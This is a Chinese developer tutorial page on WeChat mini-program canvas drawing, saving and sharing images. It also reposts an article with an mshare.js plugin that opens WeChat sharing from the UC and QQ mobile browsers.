ctx.font = 'normal bold 16px sans-serif';
ctx.setTextAlign('center'); // 文字居中
ctx.setFillStyle("#222222");
ctx.fillText(str, this.data.canvasWidth / 2, 45) // 文字位置
},


drawImage方法


drawImage 方法允许在 canvas 中插入其他图像( img 和 canvas 元素) 。drawImage函数有三种函数原型:


drawImage(image, dx, dy) 在画布指定位置绘制原图

drawImage(image, dx, dy, dw, dh) 在画布指定位置上按原图大小绘制指定大小的图

drawImage(image, sx, sy, sw, sh, dx, dy, dw, dh) 剪切图像,并在画布上定位被剪切的部分 从 1.9.0 起支持


参数描述

image

所要绘制的图片资源(网络图片要通过 getImageInfo / downloadFile 先下载)

s

需要绘制到画布中的,image的矩形(裁剪)选择框的左上角 x 坐标

sy

需要绘制到画布中的,image的矩形(裁剪)选择框的左上角 y 坐标

sWidth

需要绘制到画布中的,image的矩形(裁剪)选择框的宽度

sHeight

需要绘制到画布中的,image的矩形(裁剪)选择框的高度

dx

image的左上角在目标 canvas 上 x 轴的位置

dy

image的左上角在目标 canvas 上 y 轴的位置

dWidth

在目标画布上绘制imageResource的宽度,允许对绘制的image进行缩放

dHeight

在目标画布上绘制imageResource的高度,允许对绘制的image进行缩放


下载图片

//点击下载按钮保存canvas图片
downloadCanvas: function() {
let that = this;
// 判断用户是否选择了图片
if (that.data.previewImage) {
wx.canvasToTempFilePath({
x: 0,
y: 0,
width: that.canvasWidth,
height: that.canvasWidth,
destWidth: that.canvasWidth,
destHeight: that.canvasHeight,
canvasId: 'myCanvas',
success: function success(res) {
wx.saveImageToPhotosAlbum({
filePath: res.tempFilePath,
success(res) {
console.log(res, '保存')
}
})
}
});
} else {
wx.showToast({
title: '请先选择图片',
image: '../../static/img/error.png'
})
}
}


分享图片

// 分享图片
share() {
let that = this
if (that.data.previewImage) {

wx.canvasToTempFilePath({
x: 0,
y: 0,
width: that.canvasWidth,
height: that.canvasWidth,
destWidth: that.canvasWidth,
destHeight: that.canvasHeight,
canvasId: 'myCanvas',
success: function success(res) {
wx.showToast({
icon: 'none',
title: '长按图片分享',
duration: 1500
})
setTimeout(
() => {
wx.previewImage({
urls: [res.tempFilePath]
})
}, 1000)
}
})
} else {
wx.showToast({
title: '请先选择图片',
image: '../../static/img/error.png'
})
}
}



原文链接:https://www.jianshu.com/p/1e54146b8a26

收起阅读 »

H5之外部浏览器唤起微信分享

转自https://blog.csdn.net/qq_18976087/article/details/79095735最近在做一个手机站,要求点击分享可以直接打开微信分享出去。而不是jiathis,share分享这种的点击出来二维码。在网上看了很多,都说AP...
继续阅读 »

转自https://blog.csdn.net/qq_18976087/article/details/79095735

最近在做一个手机站,要求点击分享可以直接打开微信分享出去。而不是jiathis,share分享这种的点击出来二维码。在网上看了很多,都说APP能唤起微信,手机网页实现不了。也找了很多都不能直接唤起微信。

总结出来一个可以直接唤起微信的。适应手机qq浏览器和uc浏览器。

下面上代码,把这些直接放到要转发的页面里就可以了:

html部分:

<script src="mshare.js"></script>//引进mshare.js
<button data-mshare="0">点击弹出原生分享面板</button>
<button data-mshare="1">点击触发朋友圈分享</button>
<button data-mshare="2">点击触发发送给微信朋友</button>


js部分:

<script>
var mshare = new mShare({
title: 'Lorem ipsum dolor sit.',
url: 'http://m.ly.com',
desc: 'Lorem ipsum dolor sit amet, consectetur adipisicing elit. Quaerat inventore minima voluptates.',
img: 'http://placehold.it/150x150'
});
$('button').click(function () {
// 1 ==> 朋友圈 2 ==> 朋友 0 ==> 直接弹出原生
mshare.init(+$(this).data('mshare'));
});
</script>


/**
* 此插件主要作用是在UC和QQ两个主流浏览器
* 上面触发微信分享到朋友圈或发送给朋友的功能
*/
'use strict';
var UA = navigator.appVersion;

/**
* 是否是 UC 浏览器
*/
var uc = UA.split('UCBrowser/').length > 1 ? 1 : 0;

/**
* 判断 qq 浏览器
* 然而qq浏览器分高低版本
* 2 代表高版本
* 1 代表低版本
*/
var qq = UA.split('MQQBrowser/').length > 1 ? 2 : 0;

/**
* 是否是微信
*/
var wx = /micromessenger/i.test(UA);

/**
* 浏览器版本
*/
var qqVs = qq ? parseFloat(UA.split('MQQBrowser/')[1]) : 0;
var ucVs = uc ? parseFloat(UA.split('UCBrowser/')[1]) : 0;

/**
* 获取操作系统信息 iPhone(1) Android(2)
*/
var os = (function () {
var ua = navigator.userAgent;

if (/iphone|ipod/i.test(ua)) {
return 1;
} else if (/android/i.test(ua)) {
return 2;
} else {
return 0;
}
}());

/**
* qq浏览器下面 是否加载好了相应的api文件
*/
var qqBridgeLoaded = false;

// 进一步细化版本和平台判断
if ((qq && qqVs < 5.4 && os == 1) || (qq && qqVs < 5.3 && os == 1)) {
qq = 0;
} else {
if (qq && qqVs < 5.4 && os == 2) {
qq = 1;
} else {
if (uc && ((ucVs < 10.2 && os == 1) || (ucVs < 9.7 && os == 2))) {
uc = 0;
}
}
}
/**
* qq浏览器下面 根据不同版本 加载对应的bridge
* @method loadqqApi
* @param {Function} cb 回调函数
*/
function loadqqApi(cb) {
// qq == 0
if (!qq) {
return cb && cb();
}
var script = document.createElement('script');
script.src = (+qq === 1) ? '//3gimg.qq.com/html5/js/qb.js' : '//jsapi.qq.com/get?api=app.share';
/**
* 需要等加载过 qq 的 bridge 脚本之后
* 再去初始化分享组件
*/
script.onload = function () {
cb && cb();
};
document.body.appendChild(script);
}
/**
* UC浏览器分享
* @method ucShare
*/
function ucShare(config) {
// ['title', 'content', 'url', 'platform', 'disablePlatform', 'source', 'htmlID']
// 关于platform
// ios: kWeixin || kWeixinFriend;
// android: WechatFriends || WechatTimeline
// uc 分享会直接使用截图
var platform = '';
var shareInfo = null;
// 指定了分享类型
if (config.type) {
if (os == 2) {
platform = config.type == 1 ? 'WechatTimeline' : 'WechatFriends';
} else if (os == 1) {
platform = config.type == 1 ? 'kWeixinFriend' : 'kWeixin';
}
}
shareInfo = [config.title, config.desc, config.url, platform, '', '', ''];
// android
if (window.ucweb) {
ucweb.startRequest && ucweb.startRequest('shell.page_share', shareInfo);
return;
}
if (window.ucbrowser) {
ucbrowser.web_share && ucbrowser.web_share.apply(null, shareInfo);
return;
}
}
/**
* qq 浏览器分享函数
* @method qqShare
*/
function qqShare(config) {
var type = config.type;
//微信好友 1, 微信朋友圈 8
type = type ? ((type == 1) ? 8 : 1) : '';
var share = function () {
var shareInfo = {
'url': config.url,
'title': config.title,
'description': config.desc,
'img_url': config.img,
'img_title': config.title,
'to_app': type,
'cus_txt': ''
};
if (window.browser) {
browser.app && browser.app.share(shareInfo);
} else if (window.qb) {
qb.share && qb.share(shareInfo);
}
};
if (qqBridgeLoaded) {
share();
} else {
loadqqApi(share);
}
}
/**
* 对外暴露的接口函数
* @method mShare
* @param {Object} config 配置对象
*/
function mShare(config) {
this.config = config;
this.init = function (type) {
if (typeof type != 'undefined') this.config.type = type;
try {
if (uc) {
ucShare(this.config);
} else if (qq && !wx) {
qqShare(this.config);
}
} catch (e) {}
}
}
// 预加载 qq bridge
loadqqApi(function () {
qqBridgeLoaded = true;
});
if (typeof module === 'object' && module.exports) {
module.exports = mShare;
} else {
window.mShare = mShare;
}
收起阅读 »